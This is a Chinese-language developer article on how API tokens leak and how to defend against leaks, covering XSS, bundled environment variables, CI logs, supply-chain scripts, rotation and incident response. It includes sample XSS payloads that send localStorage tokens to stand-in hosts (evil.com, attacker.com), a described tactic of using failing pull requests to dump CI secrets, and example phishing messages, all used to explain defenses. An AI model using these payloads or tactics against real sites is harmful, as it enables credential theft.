去年,某互联网大厂发生了一起严重的安全事故:一名实习生在测试环境将AWS_ACCESS_KEY误提交到了公开的GitHub仓库。仅在3分钟后,自动化爬虫便扫描到了这个密钥。
后果是严重的:攻击者在24小时内启动了超过200台EC2实例用于挖矿,产生了近80万元的云服务账单,并导出了部分用户数据。最终,该实习生被辞退,技术负责人被降级。
这并非虚构的段子,而是真实发生且每日都在上演的安全事件。API Token如同你家的钥匙,但远比钥匙危险——因为它可以被无限复制、在暗网售卖,并在你毫无察觉的情况下持续造成损害。更令人担忧的是,许多开发者甚至未能意识到自己的Token已经泄露。
本文将从攻击者视角出发,深度剖析Token被窃取的常见方式,并构建一套完整的防御体系。
为什么Token成为攻击的首选目标?
试问:为何黑客不再热衷于“攻破防火墙”这类传统入侵方式?
答案很直接:因为Token就是明文的钥匙,获取它便等同于获得了合法身份。
试想以下对比:
传统入侵:攻击者 -> 扫描漏洞 -> 尝试注入 -> 绕过WAF -> 提权 -> 横向移动 (耗时数天甚至数周)
Token窃取:攻击者 -> 获取Token -> 直接调用API (可能仅需数秒)
更关键的是,Token泄露往往是“静默”的——它不会触发任何入侵检测系统,因为使用的是完全合法的凭证。这就像小偷不是翻墙而入,而是用你的钥匙正大光明地走进来。
攻击路径全景图
在深入每种攻击方式前,我们先概览完整的攻击面:
┌─────────────────────────────────────────────────────────────┐
│ Token 泄露攻击面 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 前端层面 构建阶段 后端层面 │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐│
│ │ XSS │ │ CI/CD │ │ 日志泄露 ││
│ │ 注入 │ │ 日志泄露 │ │ ││
│ └──────────┘ └──────────┘ └──────────┘│
│ │ │ │ │
│ ├─── localStorage ─────┤ │ │
│ │ 泄露 │ │ │
│ │ │ │ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐│
│ │ 第三方 │ │ 代码仓库 │ │ API请求 ││
│ │ 脚本劫持 │ │ 意外提交 │ │ 头部泄露 ││
│ └──────────┘ └──────────┘ └──────────┘│
│ │
└─────────────────────────────────────────────────────────────┘
│
▼
攻击者获得Token
│
▼
┌───────────────────┴───────────────────┐
│ │
▼ ▼
数据窃取 资源滥用
(用户信息/商业数据) (挖矿/刷量)
接下来,我们将逐一拆解这些攻击路径。
攻击路径1:XSS注入——最经典也最致命
为什么XSS能偷Token?
如果你在前端使用localStorage存储Token,那么任何能在页面执行的JavaScript都可以读取它。这无异于将家门钥匙藏在门口花盆下。
真实攻击流程
// 受害网站的正常代码
localStorage.setItem('access_token', 'eyJhbGc...');
// 攻击者注入的恶意代码(通过评论区、富文本编辑器等)
<script>
fetch('https://evil.com/steal', {
method: 'POST',
body: localStorage.getItem('access_token')
});
</script>
假设你正在开发一个在线协作文档系统,用户可以在文档中添加评论。如果评论功能未做好XSS防护:
// 用户提交的“评论”
const userComment = `
很好的文档!
<img src=x onerror="
const token = localStorage.getItem('token');
fetch('https://attacker.com/steal?t=' + token);
">`;
// 如果你直接这样渲染...
document.getElementById('comment').innerHTML = userComment;
// Token已被发送至攻击者的服务器
防御要点
核心原则:永远不要将敏感Token存放在客户端可访问的位置。
// ❌ 错误做法
localStorage.setItem('token', longLivedToken);
// ✅ 正确做法1:使用HttpOnly Cookie
// 服务端设置(Express示例)
res.cookie('refresh_token', token, {
httpOnly: true, // JavaScript无法访问
secure: true, // 仅HTTPS传输
sameSite: 'Strict', // 防止CSRF
maxAge: 7 * 24 * 60 * 60 * 1000
});
// ✅ 正确做法2:Access Token仅存内存
let accessToken = null; // 组件state或内存变量
function setToken(token) {
accessToken = token; // 页面刷新后自动失效,需要用refresh token重新获取
}
为什么HttpOnly Cookie更安全?
┌──────────────────────────────────────────────┐
│ XSS 攻击尝试读取Token │
├──────────────────────────────────────────────┤
│ │
│ 攻击脚本: │
│ localStorage.getItem('token') │
│ │ │
│ ▼ │
│ ✅ 能读到 (危险!) │
│ │
│ 攻击脚本: │
│ document.cookie │
│ │ │
│ ▼ │
│ ❌ 读不到 (HttpOnly保护) │
│ │
│ 但是Cookie会自动随HTTP请求发送: │
│ fetch('/api/data') --> 自动携带cookie │
│ │ │
│ ▼ │
│ 攻击者虽然读不到,但如果在你的域名下 │
│ 发起请求,cookie还是会被发送出去 │
│ (这就是为什么还需要CSRF防护) │
│ │
└──────────────────────────────────────────────┘
攻击路径2:前端构建产物泄露——最易忽视的坑
真实案例
某创业公司使用Next.js开发,为方便前端直接调用Stripe API,在.env.local中这样配置:
# .env.local
NEXT_PUBLIC_STRIPE_SECRET_KEY=sk_live_51HwXXX...
注意NEXT_PUBLIC_前缀——这是Next.js的约定,带有此前缀的变量会被打包到前端代码中。结果在打包后的_app.js中出现了如下片段:
// 压缩后的代码片段
...,n="sk_live_51HwXXX...",r=function(){...
任何人打开浏览器开发者工具,搜索sk_live即可找到完整密钥。
为什么会发生?
现代前端构建工具(如Webpack、Vite、Next.js)支持在构建时将环境变量注入代码。这本身是项好功能,但极易误用:
// Vite 中,带 VITE_ 前缀的变量会被注入
console.log(import.meta.env.VITE_API_KEY); // 会被替换为实际值
// Webpack 中使用 DefinePlugin
new webpack.DefinePlugin({
'process.env.API_KEY': JSON.stringify(process.env.API_KEY)
});
问题核心在于:这种替换发生在构建时,是直接将值硬编码到JS文件中。
防御清单
# ✅ 正确的环境变量命名规范
# 前端可以暴露的(公开的标识符)
VITE_APP_VERSION=1.0.0
NEXT_PUBLIC_API_URL=https://api.example.com
# 后端专用(绝不能有PUBLIC前缀)
DATABASE_URL=postgresql://...
STRIPE_SECRET_KEY=sk_live_...
JWT_SECRET=super-secret-key
# ❌ 绝对不要这样做
NEXT_PUBLIC_SECRET_KEY=xxx # 自相矛盾!
VITE_DB_PASSWORD=xxx # 会被打包到前端
如何检查已有项目?
# 1. 检查构建产物
npm run build
grep -r "sk_live" dist/
grep -r "SECRET" dist/
grep -r "password" dist/
# 2. 使用专门工具扫描
npx @doyensec/secretz dist/
# 3. 在CI中自动检查
# .github/workflows/security-check.yml
- name: Check for secrets in build
run: |
npm run build
if grep -r "sk_live\|secret_key\|password" dist/; then
echo "Found potential secrets in build artifacts!"
exit 1
fi
攻击路径3:代码仓库意外提交——最尴尬的泄露方式
典型场景
# 某个周五下午,开发者着急下班
git add .
git commit -m "fix: update config"
git push origin main
# 周一上班收到安全团队邮件:
# “检测到您的仓库包含AWS凭证,已被自动化爬虫扫描...”
为什么会被秒扫描?
GitHub、GitLab等平台存在大量自动化机器人,专门扫描新提交的代码:
代码提交 -> GitHub公开 -> 自动化扫描器 (t<3分钟)
│
▼
发现密钥 -> 尝试使用 (t<5分钟,已在创建资源)
真实数据显示,GitHub上每天有超过100万个密钥被扫描到。
多层防御体系
第1层:根本不提交
# .gitignore (项目根目录)
.env
.env.local
.env.*.local
**/*.pem
**/*.key
**/secrets.json
config/production.yml
第2层:pre-commit钩子
# 安装 git-secrets
brew install git-secrets # macOS
# 或
apt-get install git-secrets # Linux
# 配置
git secrets --install
git secrets --register-aws
# 测试
echo "AWS_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE" > test.txt
git add test.txt
git commit -m "test"
# 输出: [ERROR] Matched one or more prohibited patterns
第3层:CI自动检测
# .github/workflows/secret-scan.yml
name: Secret Scan
on: [push, pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
fetch-depth: 0 # 扫描完整历史
- name: Gitleaks Scan
uses: gitleaks/gitleaks-action@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
第4层:已提交的历史清理
# 如果已提交敏感信息,需从Git历史中完全删除
# 使用 BFG Repo-Cleaner
java -jar bfg.jar --replace-text passwords.txt my-repo.git
cd my-repo
git reflog expire --expire=now --all
git gc --prune=now --aggressive
git push --force
⚠️ 注意:一旦推送到公开仓库,即便删除,也应假设密钥已泄露,必须立即轮换!
攻击路径4:CI/CD日志泄露——最隐蔽的后门
场景还原
你的CI配置文件可能如下所示:
# .gitlab-ci.yml
deploy:
script:
- echo "Deploying to production..."
- echo "Environment variables:"
- env # ⚠️ 危险!这会打印所有环境变量
- npm run deploy
当构建失败时,你会在CI日志中看到:
Environment variables:
DATABASE_URL=postgresql://user:pass@host/db
JWT_SECRET=super-secret-key-12345
STRIPE_SECRET=sk_live_...
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7...
而这些日志:1. 默认可能被团队所有成员看到;2. 可能被记录到第三方日志服务;3. 失败的构建日志可能保留数月甚至数年。
真实攻击案例
攻击者策略:
- 找到使用公开CI的开源项目
- 提交一个故意让测试失败的PR
- 等待CI运行并打印环境变量
- 从失败日志中提取密钥
安全的CI/CD实践
# ❌ 危险做法
- env
- printenv
- echo $SECRET_KEY
# ✅ 安全做法
deploy:
script:
# 永远不要打印环境变量
- |
if [ -z "$DATABASE_URL" ]; then
echo "ERROR: DATABASE_URL not set"
exit 1
fi
# 使用时不要回显
- node deploy.js
# 使用CI提供的secrets功能
variables:
DATABASE_URL:
vault: production/db/url
检查清单
# 检查你的CI配置中是否有这些危险命令
grep -r "printenv\|env\|echo \$" .github/workflows/
grep -r "printenv\|env\|echo \$" .gitlab-ci.yml
grep -r "printenv\|env\|echo \$" .circleci/
攻击路径5:第三方脚本劫持——供应链攻击的威胁
为什么第三方脚本是定时炸弹?
当你在页面中引入第三方脚本时:
<script src="https://cdn.analytics.com/tracker.js"></script>
该脚本会在你的页面中执行,拥有与你的代码完全相同的权限。若此脚本被攻击者劫持或篡改,它可以:1. 读取localStorage和cookies;2. 监听键盘输入(获取密码);3. 修改页面内容(钓鱼);4. 发起任意API请求。
真实案例:British Airways泄露事件
2018年,英国航空网站被黑客植入恶意脚本,导致38万客户的信用卡信息泄露。攻击方式:
黑客入侵第三方脚本提供商
│
▼
修改CDN上的JavaScript文件
│
▼
英国航空网站加载被篡改的脚本
│
▼
脚本窃取用户支付信息
│
▼
数据发送到攻击者服务器
最终罚款1.83亿英镑。
防御:内容安全策略 (CSP)
// Express示例:设置严格的CSP
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy', `
default-src 'self';
script-src 'self' https://trusted-cdn.com;
script-src-elem 'self' https://trusted-cdn.com 'nonce-${nonce}';
connect-src 'self' https://api.example.com;
img-src 'self' data: https:;
style-src 'self' 'unsafe-inline';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
`.replace(/\s+/g, ' ').trim());
next();
});
CSP的作用:即使攻击者找到了XSS漏洞,浏览器也会阻止恶意脚本执行。
┌────────────────────────────────────────────┐
│ CSP 防护示意图 │
├────────────────────────────────────────────┤
│ │
│ 攻击者注入: │
│ <script>fetch('evil.com/steal')</script> │
│ │ │
│ ▼ │
│ 浏览器检查CSP规则 │
│ │ │
│ ┌────┴────┐ │
│ │ evil.com 不在 │
│ │ 白名单中 │
│ └────┬────┘ │
│ │ │
│ ▼ │
│ ❌ 脚本被阻止执行 │
│ ❌ 控制台报错: │
│ “Refused to connect to 'evil.com' │
│ because it violates CSP directive” │
│ │
└────────────────────────────────────────────┘
使用子资源完整性 (SRI)
<!-- ❌ 不安全:CDN被劫持后无法检测 -->
<script src="https://cdn.com/lib.js"></script>
<!-- ✅ 安全:带完整性校验 -->
<script
src="https://cdn.com/lib.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
crossorigin="anonymous"></script>
如果文件内容被篡改,哈希值不匹配,浏览器会拒绝执行。
攻击路径6:社会工程学——最防不胜防的攻击
典型套路
场景1:假冒内部IT
攻击者邮件:
主题: [紧急]服务器维护需要您的协助
内容: 您好,我是运维团队的李工,需要您的API Token
来验证权限配置,请回复到这个邮箱...
场景2:假冒合作伙伴
攻击者Slack:
嗨,我是XXX公司的新对接人,我们的测试环境需要访问你们的API,
麻烦把staging环境的token发我一下~
场景3:技术支持钓鱼
某技术论坛私信:
看到你在用我们的开源项目,能否提供你的配置文件
帮忙排查一下为什么报错?直接复制.env内容给我就行
防御要点
- 永远不通过聊天工具/邮件传输Token
- 建立Token获取的标准流程
- 使用密钥管理服务(如1Password团队版)
- 定期培训团队识别社工攻击
攻击路径7:服务端日志泄露——最易忽视的风险
为什么后端日志会泄露Token?
开发者在排查问题时,常会打印请求详情:
// ❌ 危险的日志记录
app.use((req, res, next) => {
console.log('Request:', {
method: req.method,
url: req.url,
headers: req.headers, // ⚠️ 包含Authorization header!
body: req.body
});
next();
});
// 日志输出:
// Request: {
// method: 'POST',
// headers: {
// 'authorization': 'Bearer eyJhbGc...', // 泄露!
// ...
// }
// }
这些日志可能会:1. 发送到Sentry、DataDog等第三方;2. 存储在可被多人访问的日志系统;3. 保留数月甚至数年。
安全的日志实践
// ✅ 安全的日志记录
const sanitizeHeaders = (headers) => {
const safe = { ...headers };
// 移除敏感字段
delete safe.authorization;
delete safe['x-api-key'];
delete safe.cookie;
return safe;
};
app.use((req, res, next) => {
console.log('Request:', {
method: req.method,
url: req.url,
headers: sanitizeHeaders(req.headers),
// 对body也要脱敏
body: sanitizeBody(req.body)
});
next();
});
// 或者使用专门的日志库
const winston = require('winston');
const logger = winston.createLogger({
format: winston.format.combine(
winston.format.timestamp(),
winston.format.json(),
// 自动过滤敏感字段
winston.format((info) => {
if (info.authorization) delete info.authorization;
if (info.password) delete info.password;
return info;
})()
),
transports: [
new winston.transports.File({ filename: 'app.log' })
]
});
检测Token泄露:早发现,少损失
防不住泄露?至少要第一时间发现。
检测手段1:API异常监控
// 实时监控API调用模式
const rateLimit = require('express-rate-limit');
const apiLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15分钟
max: 100, // 限制每个IP 100次请求
// 自定义处理逻辑
handler: (req, res) => {
// 记录异常
logSuspiciousActivity({
ip: req.ip,
token: extractTokenId(req),
endpoint: req.path,
userAgent: req.get('user-agent')
});
res.status(429).json({
error: 'Too many requests'
});
}
});
app.use('/api/', apiLimiter);
检测手段2:地理位置异常
// 检测Token使用的地理位置
const geoip = require('geoip-lite');
function checkGeolocation(req, tokenData) {
const geo = geoip.lookup(req.ip);
const lastGeo = tokenData.lastKnownLocation;
// 如果距离上次使用相隔很远
if (geo && lastGeo) {
const distance = calculateDistance(geo, lastGeo);
if (distance > 1000) { // 超过1000公里
// 可能是Token泄露
alertSecurityTeam({
token: tokenData.id,
lastLocation: lastGeo.city,
currentLocation: geo.city,
distance: distance
});
// 可以选择暂时冻结Token
return false;
}
}
return true;
}
检测手段3:设备指纹变化
// 检测设备特征变化
function checkDeviceFingerprint(req, tokenData) {
const currentFingerprint = {
userAgent: req.get('user-agent'),
acceptLanguage: req.get('accept-language'),
// 可以加入更多浏览器特征
};
const lastFingerprint = tokenData.deviceFingerprint;
// 如果设备特征完全不同
if (JSON.stringify(currentFingerprint) !==
JSON.stringify(lastFingerprint)) {
// 要求重新认证
return {
valid: false,
reason: 'device_changed',
action: 'reauthenticate'
};
}
return { valid: true };
}
检测手段4:使用密钥扫描工具
# 定期扫描代码仓库
gitleaks detect --source . --verbose
# 扫描特定文件
trufflehog filesystem ./path/to/code
# 在CI中运行
# .github/workflows/security.yml
- name: Secret Scanning
run: |
docker run --rm -v $(pwd):/path \
trufflesecurity/trufflehog:latest \
filesystem /path --json
防御体系:从Token设计到应急响应的完整方案
第1层:Token设计原则
原则1:最小权限 + 短生命周期
// ❌ 危险:一个Token搞定所有事
const token = jwt.sign({
userId: user.id,
permissions: ['read', 'write', 'delete', 'admin']
}, SECRET, { expiresIn: '30d' }); // 30天!
// ✅ 安全:分离access token和refresh token
function issueTokens(user) {
// Access Token:短期,窄权限
const accessToken = jwt.sign({
sub: user.id,
scope: ['read', 'write'], // 明确权限范围
type: 'access'
}, ACCESS_SECRET, {
expiresIn: '15m' // 只有15分钟
});
// Refresh Token:长期,但只能刷新
const refreshToken = jwt.sign({
sub: user.id,
type: 'refresh',
jti: randomUUID() // 唯一ID,可追踪
}, REFRESH_SECRET, {
expiresIn: '7d'
});
return { accessToken, refreshToken };
}
设计思路图解:
┌─────────────────────────────────────────────────┐
│ 双Token体系 │
├─────────────────────────────────────────────────┤
│ │
│ Access Token Refresh Token │
│ ┌────────────┐ ┌────────────┐ │
│ │ 生命周期:15分钟│ │ 生命周期:7天│ │
│ │ 存储:内存 │ │存储:HttpOnly││
│ │ 权限:具体API │ │ Cookie ││
│ └─────┬──────┘ └──────┬─────┘ │
│ │ │ │
│ │ 过期 │ │
│ ▼ ▼ │
│ 重新请求 ──────────────────────▶ 用Refresh │
│ 获取新Access │
│ │ │
│ 如果Refresh也过期 ◀──────────────────┘ │
│ │ │
│ ▼ │
│ 需要重新登录 │
│ │
└─────────────────────────────────────────────────┘
为什么这样设计?
- Access Token短命:即使泄露,15分钟后自动失效
- Refresh Token在HttpOnly Cookie:JavaScript读不到
- 分离职责:Access用于API调用,Refresh只用于刷新
原则2:Token轮转 (Rotation)
// Token轮转的完整实现
const tokenStore = new Map(); // 生产环境用Redis
app.post('/auth/refresh', async (req, res) => {
const oldRefreshToken = req.cookies.refreshToken;
if (!oldRefreshToken) {
return res.status(401).json({ error: 'No refresh token' });
}
try {
// 1. 验证旧Token
const payload = jwt.verify(oldRefreshToken, REFRESH_SECRET);
// 2. 检查Token是否已被使用过(检测重放攻击)
const storedToken = tokenStore.get(payload.jti);
if (!storedToken) {
// Token不存在,可能已被撤销或伪造
return res.status(403).json({ error: 'Invalid refresh token' });
}
if (storedToken.used) {
// ⚠️ 检测到重放攻击!
// 立即撤销该用户的所有Token
await revokeAllUserTokens(payload.sub);
await alertSecurityTeam({
userId: payload.sub,
reason: 'refresh_token_reuse',
ip: req.ip
});
return res.status(403).json({ error: 'Token reuse detected' });
}
// 3. 标记旧Token为已使用
storedToken.used = true;
storedToken.usedAt = new Date();
// 4. 生成新的Token对
const newTokens = issueTokens({ id: payload.sub });
// 5. 存储新的Refresh Token
tokenStore.set(newTokens.refreshToken.jti, {
userId: payload.sub,
used: false,
createdAt: new Date()
});
// 6. 返回新Token
res.cookie('refreshToken', newTokens.refreshToken.value, {
httpOnly: true,
secure: true,
sameSite: 'Strict',
maxAge: 7 * 24 * 60 * 60 * 1000
});
res.json({ accessToken: newTokens.accessToken });
} catch (error) {
return res.status(401).json({ error: 'Invalid token' });
}
});
轮转机制的防护效果:
正常流程:
Client: 用RefreshToken_A请求新AccessToken
Server: 验证通过,返回AccessToken_B + RefreshToken_B
同时废弃RefreshToken_A
Client: 用RefreshToken_B继续...
攻击场景:
攻击者: 偷到了RefreshToken_A
攻击者: 用RefreshToken_A请求Token
Server: ⚠️ RefreshToken_A已被标记为“已使用”!
检测到重放攻击!
立即撤销该用户所有Token
发送安全警报
第2层:传输安全
// 完整的安全配置示例(Express)
const helmet = require('helmet');
const express = require('express');
const app = express();
// 1. 使用Helmet设置安全HTTP头
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.trusted.com"],
fontSrc: ["'self'", "https:", "data:"],
objectSrc: ["'none'"],
mediaSrc: ["'self'"],
frameSrc: ["'none'"],
},
},
hsts: {
maxAge: 31536000, // 1年
includeSubDomains: true,
preload: true
}
}));
// 2. 强制HTTPS
app.use((req, res, next) => {
if (req.header('x-forwarded-proto') !== 'https') {
res.redirect(`https://${req.header('host')}${req.url}`);
} else {
next();
}
});
// 3. Cookie安全配置
app.use(cookieParser());
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
secure: true, // 仅HTTPS
httpOnly: true, // 禁止JS访问
sameSite: 'strict', // 防CSRF
maxAge: 3600000 // 1小时
}
}));
第3层:架构模式——BFF (Backend For Frontend)
当你需要在前端调用第三方API时,切勿直接暴露第三方API密钥。推荐使用BFF模式。
传统架构(不安全):
┌──────────┐ ┌──────────────┐
│ 前端 │──── API Key ─────▶│ 第三方API │
│(浏览器) │ │ (Stripe等) │
└──────────┘ └──────────────┘
⚠️ API Key暴露在浏览器中
BFF架构(安全):
┌──────────┐ ┌─────────┐ ┌──────────────┐
│ 前端 │────────▶│ BFF │────────▶│ 第三方API │
│(浏览器) │临时Token │(Node.js)│ API Key │ (Stripe等) │
└──────────┘ └─────────┘ └──────────────┘
│
│ API Key存储在服务端
│ 永远不会发送到前端
▼
✅ 安全!
BFF实现示例:
// BFF服务器(bff-server.js)
const express = require('express');
const stripe = require('stripe')(process.env.STRIPE_SECRET_KEY); // 密钥在服务端
const app = express();
// 前端调用这个接口,不需要知道Stripe密钥
app.post('/api/create-payment', authenticateUser, async (req, res) => {
try {
// 验证用户身份
const user = req.user;
// 用服务端的密钥调用Stripe
const paymentIntent = await stripe.paymentIntents.create({
amount: req.body.amount,
currency: 'usd',
customer: user.stripeCustomerId
});
// 只返回客户端需要的信息
res.json({
clientSecret: paymentIntent.client_secret
});
} catch (error) {
res.status(500).json({ error: error.message });
}
});
// 前端代码
async function checkout() {
// 不需要Stripe密钥,只需要用户的access token
const response = await fetch('/api/create-payment', {
method: 'POST',
headers: {
'Authorization': `Bearer ${accessToken}`, // 只发送access token
'Content-Type': 'application/json'
},
body: JSON.stringify({ amount: 5000 })
});
const { clientSecret } = await response.json();
// 使用clientSecret完成支付...
}
第4层:密钥管理服务
# 使用AWS Secrets Manager
npm install @aws-sdk/client-secrets-manager
# secrets-manager.js
const { SecretsManagerClient, GetSecretValueCommand } = require('@aws-sdk/client-secrets-manager');
const client = new SecretsManagerClient({ region: 'us-east-1' });
async function getSecret(secretName) {
try {
const response = await client.send(
new GetSecretValueCommand({
SecretId: secretName,
VersionStage: "AWSCURRENT"
})
);
return JSON.parse(response.SecretString);
} catch (error) {
console.error('Error fetching secret:', error);
throw error;
}
}
// 应用启动时获取密钥
async function initializeApp() {
const secrets = await getSecret('production/api-keys');
process.env.STRIPE_SECRET = secrets.STRIPE_SECRET;
process.env.JWT_SECRET = secrets.JWT_SECRET;
// ...
// 启动服务器
app.listen(3000);
}
密钥轮转自动化:
// 自动轮转密钥
const schedule = require('node-schedule');
// 每30天自动轮转JWT密钥
schedule.scheduleJob('0 0 */30 * *', async () => {
const newSecret = generateSecureSecret();
// 1. 保存新密钥到Secrets Manager
await updateSecret('jwt-secret', newSecret);
// 2. 逐步迁移:支持新旧两个密钥
process.env.JWT_SECRET_NEW = newSecret;
// 3. 7天后完全切换到新密钥
setTimeout(() => {
process.env.JWT_SECRET = newSecret;
delete process.env.JWT_SECRET_NEW;
}, 7 * 24 * 60 * 60 * 1000);
});
应急响应:Token泄露后的黄金1小时
响应流程图
发现Token泄露
│
▼
┌─────────────────────┐
│ 第1步:立即止损(5分钟)│
├─────────────────────┤
│ • 撤销泄露的Token │
│ • 阻断可疑IP │
│ • 冻结相关账户 │
└──────┬──────────────┘
│
▼
┌─────────────────────┐
│ 第2步:评估影响(15分钟)│
├─────────────────────┤
│ • 查询Token使用记录 │
│ • 确认数据访问范围 │
│ • 检查关联Token │
└──────┬──────────────┘
│
▼
┌─────────────────────┐
│ 第3步:修补漏洞(30分钟)│
├─────────────────────┤
│ • 定位泄露原因 │
│ • 部署紧急补丁 │
│ • 轮换所有相关密钥 │
└──────┬──────────────┘
│
▼
┌─────────────────────┐
│ 第4步:通知与复盘 │
├─────────────────────┤
│ • 通知受影响用户 │
│ • 生成事故报告 │
│ • 改进防护措施 │
└─────────────────────┘
应急工具箱
// emergency-toolkit.js
class TokenEmergencyKit {
// 1. 批量撤销Token
async revokeTokens(criteria) {
// 按条件批量撤销
if (criteria.userId) {
await this.revokeUserTokens(criteria.userId);
}
if (criteria.ipRange) {
await this.revokeIpRangeTokens(criteria.ipRange);
}
if (criteria.timeRange) {
await this.revokeTimeRangeTokens(criteria.timeRange);
}
}
// 2. 查询Token使用历史
async getTokenAuditLog(tokenId, options = {}) {
return await db.query(`
SELECT
timestamp,
ip_address,
user_agent,
endpoint,
action,
data_accessed
FROM token_audit_log
WHERE token_id = $1
AND timestamp >= $2
ORDER BY timestamp DESC
`, [tokenId, options.since || new Date(Date.now() - 86400000)]);
}
// 3. 批量通知用户
async notifyAffectedUsers(userIds, incident) {
const template = `
安全警报:您的账户可能受到影响
我们检测到一个安全事件,您的账户凭证可能已泄露。
为了您的账户安全,我们已采取以下措施:
• 撤销了可能泄露的访问令牌
• 要求您在下次登录时重置密码
• 加强了账户的安全监控
如有疑问,请联系安全团队...
`;
for (const userId of userIds) {
await this.sendSecurityAlert(userId, template);
}
}
// 4. 生成事故报告
async generateIncidentReport(incidentId) {
const incident = await this.getIncident(incidentId);
const timeline = await this.getIncidentTimeline(incidentId);
const impact = await this.assessImpact(incidentId);
return {
summary: incident.summary,
timeline: timeline,
affectedUsers: impact.userCount,
dataAccessed: impact.dataAccessed,
actions: incident.actions,
rootCause: incident.rootCause,
preventionPlan: incident.preventionPlan
};
}
}
60分钟安全检查清单
拿出这个清单,花60分钟检查你的项目:
第1部分:代码检查 (15分钟)
# ✅ 1. 搜索硬编码的密钥
grep -r "api_key\s*=\s*['\"]" src/
grep -r "secret\s*=\s*['\"]" src/
grep -r "password\s*=\s*['\"]" src/
# ✅ 2. 检查.env文件是否被git ignore
git check-ignore .env
git check-ignore .env.local
# ✅ 3. 扫描构建产物
npm run build
grep -r "sk_live\|secret_key" dist/
grep -r "password\|token" dist/
# ✅ 4. 检查Git历史
git log --all --full-history --source -- **/*.env
第2部分:配置检查 (15分钟)
// ✅ 5. 检查Cookie配置
// 在浏览器DevTools -> Application -> Cookies查看
// 应该看到:HttpOnly ✅, Secure ✅, SameSite=Strict ✅
// ✅ 6. 检查CSP设置
// 在浏览器DevTools -> Network -> 选择任意请求 -> Headers
// 应该看到: Content-Security-Policy 响应头
// ✅ 7. 检查Token过期时间
jwt.decode(yourToken) // 检查exp字段
// Access Token应该 < 30分钟
// Refresh Token应该 < 7天
第3部分:监控检查 (15分钟)
# ✅ 8. 确认有API使用监控
# 检查是否配置了:
# - 请求速率告警
# - 地理位置异常告警
# - 失败率告警
# ✅ 9. 检查日志脱敏
# 随机查看几条日志,确保没有Token
# ✅ 10. 测试告警通道
# 触发一次测试告警,确认能收到通知
第4部分:CI/CD检查 (15分钟)
# ✅ 11. 检查CI密钥扫描
# 确认.github/workflows/或.gitlab-ci.yml中有secret scan步骤
# ✅ 12. 检查构建日志
# 最近10次构建中,日志里不应该出现密钥
# ✅ 13. 确认使用CI的secrets功能
# GitHub: Settings -> Secrets and variables -> Actions
# GitLab: Settings -> CI/CD -> Variables
# ✅ 14. 检查pre-commit钩子
git config --list | grep hooks
# 应该有密钥扫描钩子
总结:Token安全不是选择题,而是必答题
核心原则回顾
- 最小权限原则:Token只给最小必要的权限
- 短生命周期原则:Access Token < 30分钟
- 轮转原则:Refresh Token使用一次就作废
- 隔离原则:前端永远拿不到长期密钥
- 监控原则:异常使用第一时间发现
三个最容易犯的错误
❌ 错误1:把Token存在localStorage → XSS一击即溃
❌ 错误2:环境变量带NEXTPUBLIC / VITE_前缀 → 直接打包到前端代码
❌ 错误3:CI日志里打印env → 密钥暴露给所有能看日志的人
如果只能做三件事
如果你时间有限,只做这三件事也能大幅提升安全性:
- 用HttpOnly Cookie存Refresh Token
- 设置Access Token过期时间 < 15分钟
- 在CI中集成gitleaks或trufflehog
写在最后
Token安全不是一劳永逸的工作,而是持续的过程。今天你加固了防御,明天攻击者可能就找到了新的方法。但只要我们保持警惕,及时更新防护措施,就能让攻击者的成本远高于收益。
记住:安全是一种习惯,不是一个功能。